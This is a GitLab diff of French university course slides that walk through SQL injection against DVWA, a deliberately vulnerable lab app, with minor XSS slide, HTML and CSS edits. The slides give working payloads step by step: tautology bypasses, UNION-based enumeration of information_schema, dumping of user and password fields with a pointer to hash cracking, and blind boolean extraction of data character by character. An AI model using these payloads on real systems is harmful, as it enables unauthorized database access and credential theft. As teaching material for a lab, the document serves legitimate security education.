+* [topologie](https://www.linkedin.com/grp/post/36874-130061102)
 
+* [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)
+  * cas simple où les messages d'erreur base de données sont affichés
+* [SQL Injection (Blind)](https://owasp.org/www-community/attacks/Blind_SQL_Injection)
+  * cas plus complexe où les messages d'erreur base de données **ne** sont **pas** accessibles
+    * Un comportement différent selon que la **payload** est exécutée ou non
 
-## [Différents types](https://www.linkedin.com/grp/post/36874-130061102)
 
-#### [<i class="fa fa-eye"></i> Error-based](https://www.owasp.org/index.php/SQL_Injection)
-* Les messages d'erreur mysql sont accessibles
+### <i class="fa-solid fa-bomb"></i> SQLi / payloads
 
-#### [<i class="fa fa-check-square"></i> Boolean (Blind)](https://www.owasp.org/index.php/Blind_SQL_Injection)
+* lire des données "protégées"
+* corrompre des données
+* dénis de services
+* lecture / écriture sur le système de fichiers
+* exécution de commandes arbitraires
 
-* Pas de message d'erreur
-* Un comportement différent selon que la **payload** est exécutée ou non
-  * nécessite en général d'itérer
-    * avec un LIKE par exemple pour déduire lettre par lettre
 
+### <i class="fa-solid fa-bomb"></i> SQLi / low 
 
-## [Différents types](https://www.linkedin.com/grp/post/36874-130061102)
+* détectable en tentant les caractères d'échappement **"** ou **'** en 
+<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=%27&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=%27&Submit=Submit#)</small>
 
-#### [<i class="fa fa-eye-slash"></i> (true) Blind](https://www.owasp.org/index.php/Blind_SQL_Injection)
+* L'idée est d'utiliser les commentaires **#** ou **--** pour terminer prématurément l'exécution du SQL
+  ```
+  User ID: ' OR 1=1 #
+  ```
+  * affiche la liste de tous les utilisateurs
 
-* Pas de message d'erreur
-* Pas de moyen de savoir si la **payload** a été éxécutée ou non
-  * cas d'une redirection systématique
-  * nécessite en général d'itérer
-  * avec un LIKE par exemple pour déduire lettre par lettre
+<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=%27+OR+1%3D1+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=%27+OR+1%3D1+%23&Submit=Submit#)</small>
 
-Note:
-- boolean type: formulaire d'authentification
-  - erreur en cas d'échec
-    - drapeau rouge
-  - home page en cas de succés
-    - drapeau vert
-  - attention une 404 ou une 500 peut être le drapeau vert
-- blind typique
-  - accès à un contenu privé www.example.org/display.php?item=1'
-    - redirige systématiquement sur la page d'authentification
-      - l'idée est de charger la requête et de chronomtérer le temps d'exécution
-        - une requête invalide ne sera pas exécuté donc le temps de réponse sera inférieur au temps d'une requêt valide qui sera exécuté
-        - Benchmark() MySQL
-        - WaitFor() MSSQ
-
-
-## <i class="fa fa-eye"></i> [SQLi](https://www.owasp.org/index.php/SQL_Injection) Error-based
-
-L'idée est d'utiliser les commentaires pour terminer prématurément l'exécution du SQL
-
-```php
-$id = $_GET['id'];
-$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
-$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
-$num = mysql_numrows($result);
-$i = 0;
-while ($i < $num) {
-   $first = mysql_result($result,$i,"first_name");
-   $last = mysql_result($result,$i,"last_name");
-   echo '<pre>';
-   echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
-   echo '</pre>';
-   $i++;
-}
-```
+<i class="fa-solid fa-bullseye"></i> on cherche les mots de passe des utilisateurs
 
 
-## <i class="fa fa-eye"></i> [SQLi](https://www.owasp.org/index.php/SQL_Injection) Error-based
+### <i class="fa-solid fa-bomb"></i> SQLi / low 
 
-détectable en tentant une simple **'** en entrée
+déterminer le nombre de paramètres de la requêtes
+  ```
+  User ID: ' OR 1=1 ORDER BY 1 #
+  ```
 
-```http
-http://dv.wa/vulnerabilities/sqli/?id='&Submit=Submit#
-```
+<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+2+%23&Submit=Submit#](https://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+2+%23&Submit=Submit#)</small>
+
+<small><i class="fa-solid fa-circle-xmark"></i> [/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+3+%23&Submit=Submit#](https://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+3+%23&Submit=Submit#)</small>
 
-produit
+<i class="fa-solid fa-trophy"></i> il y a 2 champs dans la clause SELECT
 
+
+### <i class="fa-solid fa-bomb"></i> SQLi / low 
+
+repérer qui est qui?
+  ```
+  User ID: 6' UNION SELECT 1,2 #
+  ```
+  ```
+  First name: 1
+  Surname: 2
+  ```
+
+afficher la base de données et l'utilisateur courant 
+  ```
+  User ID: 6' UNION SELECT database(),current_user() #
+  ```
+  ```
+  First name: dvwa
+  Surname: dvwa@localhost
+  ```
+  <small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT+database%28%29%2Ccurrent_user%28%29+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=6%27+UNION+SELECT+database%28%29%2Ccurrent_user%28%29+%23&Submit=Submit#)</small>
+
+  <i class="fa-solid fa-book-skull"></i> **UNION** ou **Cross table**
+
+
+### <i class="fa-solid fa-bomb"></i> SQLi / low 
+
+afficher toutes les tables de la base de données `dvwa` via la table virutelle [information_schema](http://dev.mysql.com/doc/refman/5.1/en/information-schema.html)
+  
 ```
-You have an error in your SQL syntax; check the manual
-that corresponds to your MySQL server version for
-the right syntax to use near ''''' at line 1
+User ID: 6' UNION SELECT table_name,2 
+  FROM INFORMATION_SCHEMA.TABLES 
+  WHERE TABLE_SCHEMA = 'dvwa' #
 ```
 
-intéressant!
+<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT+...+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=6%27+UNION+SELECT+table_name%2C2+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#)</small>
 
 
-## [SQL Injection - security low](http://dv.wa/vulnerabilities/sqli_blind/)  
+### <i class="fa-solid fa-bomb"></i> SQLi / low 
 
-sensible à (version human readable)
-
-```http
-http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1#&Submit=Submit
+afficher les noms de colonnes de la tables `users` via la table virutelle [information_schema](http://dev.mysql.com/doc/refman/5.1/en/information-schema.html)
+  
+```
+User ID: 6' UNION SELECT column_name,2 
+  FROM INFORMATION_SCHEMA.COLUMNS 
+  WHERE TABLE_SCHEMA = 'dvwa' #
 ```
 
-soit en version encodée
+<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT...+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=6%27+UNION+SELECT+column_name%2C2++++FROM+INFORMATION_SCHEMA.COLUMNS++++WHERE+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#)</small>
 
-```http
-http://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+%3B%23%23&Submit=Submit
+
+### <i class="fa-solid fa-bomb"></i> SQLi / low 
+
+afficher les champs `user` & `password` de la table `users`
+  
+```
+User ID: 6' UNION SELECT user,password FROM users #
 ```
 
-affiche la liste de tous les utilisateurs
+<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT+user%2Cpassword+FROM+users+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=6%27+UNION+SELECT+user%2Cpassword+FROM+users+%23&Submit=Submit#)</small>
 
-**<i class="fa fa-bomb"></i> on peut mieux faire !!**
+<i class="fa-solid fa-screwdriver-wrench"></i> [crackstation.net](https://crackstation.net/) pour une **rainbow attack** ou attaque par **tables arc-en-ciel**
 
-Note:
-- je donne les urls en mode human readable
-  - les valeurs sont à copier dans le champs
-    - PAS dans l'url
-- se détecte avec juste ' ou en fuzzant plus large
-  - fuzzdb/attack-playloads/sql-injection/detect/MySQL.fuzz.txt
-  - fuzzdb/attack-playloads/attack-payloads/all-attacks
-    - tester avec Burp
-    - avec la hackbar
-    - mettre un flag grep SQL
-    - filtrer par length, error, et flag SQL
 
+### <i class="fa-solid fa-bomb"></i> SQLi / medium
 
-## [SQL Injection - security low](http://dv.wa/vulnerabilities/sqli_blind/)  
+![select2input](images/sqli/select2input.png "select2input")
+
+détection 
 
-```http
-http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 5#&Submit=Submit
+```
+User ID: ' OR 1=1 #
 ```
 
-affiche un message d'erreur
+<i class="fa-solid fa-circle-xmark"></i> a priori les **'** sont échappés
 
-```http
-http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 2#&Submit=Submit
+
+### <i class="fa-solid fa-bomb"></i> SQLi / medium
+
+```
+User ID: 1 OR 1=1 #
 ```
 
-est exécutée
+<i class="fas fa-circle-check"></i> le paramètre id est un entier
+
+reprendre les étapes SQLi / low en remplacant 
 
-```http
-http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 3#&Submit=Submit
+```
+User ID: 6' ... #
 ```
 
-affiche un message d'erreur
+<i class="fa-solid fa-arrow-right-arrow-left"></i>
 
-**<i class="fa fa-trophy"></i> par dichotomie**
+```
+User ID: 6 ... #
+```
 
-**il y a 2 champs dans la clause SELECT**
+<small>
 
-Note:
-- va nous permettre d'étendre les requêtes à d'autres tables
+`TABLE_SCHEMA = 'dvwa'` 
 
+<i class="fa-solid fa-arrow-right-arrow-left"></i>
 
-## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/)  
+`TABLE_SCHEMA = CHAR(100,118,119,97)`
 
-```http
-http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1  UNION SELECT NULL, user()#&Submit=Submit
-```
+</small>
 
-affiche l'utilisateur courant (mysqlusername@mysqlhost) à la fin de la liste des users
 
-```http
-http://dv.wa/vulnerabilities/sqli/?id=' or 0=0 UNION SELECT NULL, database()#&Submit=Submit
-```
+### <i class="fa-solid fa-bomb"></i> SQLi / high
 
-affiche le nom de la base de données à la fin de la liste des users
+Toutes la séquence SQLi / low est valide
 
 
-## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/)  
+### <i class="fa-solid fa-bomb"></i> Blind SQLi / low
 
-```http
-http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, table_name FROM information_schema.tables#&Submit=Submit
+* plus de message d'erreur
+* plus d'affichage des champs
+
+* identifier les comportements
+
+```
+User ID: 1
+```
+```
+User ID exists in the database.
+```
+```
+User ID: 6
+```
+```
+User ID is MISSING from the database.
 ```
 
-* affiche toutes les tables via la table virutelle [information_schema](http://dev.mysql.com/doc/refman/5.1/en/information-schema.html)
-  * quand on fait de l'**UNION** de deux tables distincts on parle de **Cross table**
 
-```http
-http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_name LIKE '%user%'#&Submit=Submit
+### <i class="fa-solid fa-bomb"></i> Blind SQLi / low
+
+* identifier les comportements
+  * on sait que l'utilisateur 1 existe
+
+```
+User ID: 1' AND '1' = '2' #
+```
+```
+User ID is MISSING from the database.
+```
+```
+User ID: 1' AND '1' = '1' #
+```
+```
+User ID exists in the database.
 ```
 
-affiche toutes les tables qui contiennent user
+<i class="fa-solid fa-trophy"></i> il y a une injection
 
 
-## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/)  
+### <i class="fa-solid fa-bomb"></i> Blind SQLi / low
 
-```http
-http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, concat(table_name,0x0a,column_name) FROM information_schema.columns WHERE table_name = 'users'#&Submit=Submit
+déterminer le nom de la base de données
+
+```
+1' AND ORD(MID(DATABASE(),1,1)) = 100 #
 ```
 
-* affiche toutes les champs de la table user
+* `DATABASE()` : renvoie la chaîne "dvwa"
+* `MID(DATABASE(),1,1)` : renvoie le première caractère de la chaîne retournée par `DATABASE()`
+* `ORD()` : renvoie l'équivalent décimal du caractère en paramètre
 
-```http
-http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) FROM users#&Submit=Submit
+
+### <i class="fa-solid fa-bomb"></i> Blind SQLi / low
+
+déterminer le nombre de caractère dans le nom de la base de données
+
+```
+1' AND LENGTH(DATABASE()) = 4 #
 ```
 
-* affiche toutes les valeurs des champs *user* et *password* de la table user
+déterminer le nom de la base de données
 
-  * reste à brute forcer
+```
+1' AND ORD(MID(DATABASE(),1,1)) = 100 # d
+1' AND ORD(MID(DATABASE(),2,1)) = 118 # v
+1' AND ORD(MID(DATABASE(),3,1)) = 119 # w
+1' AND ORD(MID(DATABASE(),4,1)) = 97  # a
+```
 
 
 ## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/)  
diff --git a/content/slides/1337/md/xss.md b/content/slides/1337/md/xss.md
index ae6720d..259664c 100644
--- a/content/slides/1337/md/xss.md
+++ b/content/slides/1337/md/xss.md
@@ -3,6 +3,8 @@
 ## aka cross site script
 
 <i class="fa-brands fa-firefox-browser"></i>
+<br /><br /><br /><br /><br /><br />
+<small> tapez `<prez>.html?<username-uca>` dans votre navigateur pour suivre le cours avec votre nom de vm</small>
 
 
 ### <i class="fas fa-cogs"></i> XSS
diff --git a/content/slides/1337/sqli.html b/content/slides/1337/sqli.html
index ddd9c32..c58387c 100644
--- a/content/slides/1337/sqli.html
+++ b/content/slides/1337/sqli.html
@@ -7,11 +7,11 @@
     <title>SQLi</title>
 
     <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
-    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css">
 
     <!-- Theme used for syntax highlighting of code -->
     <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
-    <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
+    <link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
     <link rel="stylesheet" href="../main.css">
 
     <!-- Printing and PDF exports -->
@@ -35,7 +35,7 @@
       </div>
     </div>
 
-    <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
+    <!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
     <script src="../../node_modules/reveal.js/js/reveal.js"></script>
 
     <script>
@@ -66,5 +66,6 @@
         ]
       });
     </script>
+    <script src="../main.js"></script><script src="../main.js"></script>
   </body>
 </html>
diff --git a/content/slides/main.css b/content/slides/main.css
index 4ff06b1..b7f8cb4 100644
--- a/content/slides/main.css
+++ b/content/slides/main.css
@@ -45,6 +45,10 @@ reveal code {
   color: yellow;
 }
 
+.fa-trophy {
+  color: yellow;
+}
+
 .fa-medkit {
   color: pink;
 }
@@ -63,4 +67,12 @@ reveal code {
 
 .fa-firefox-browser {
   color: orange;
+}
+
+.fa-bullseye {
+  color:orangered
+}
+
+.fa-book-skull, .fa-screwdriver-wrench {
+  color: grey;
 }
\ No newline at end of file
-- 
GitLab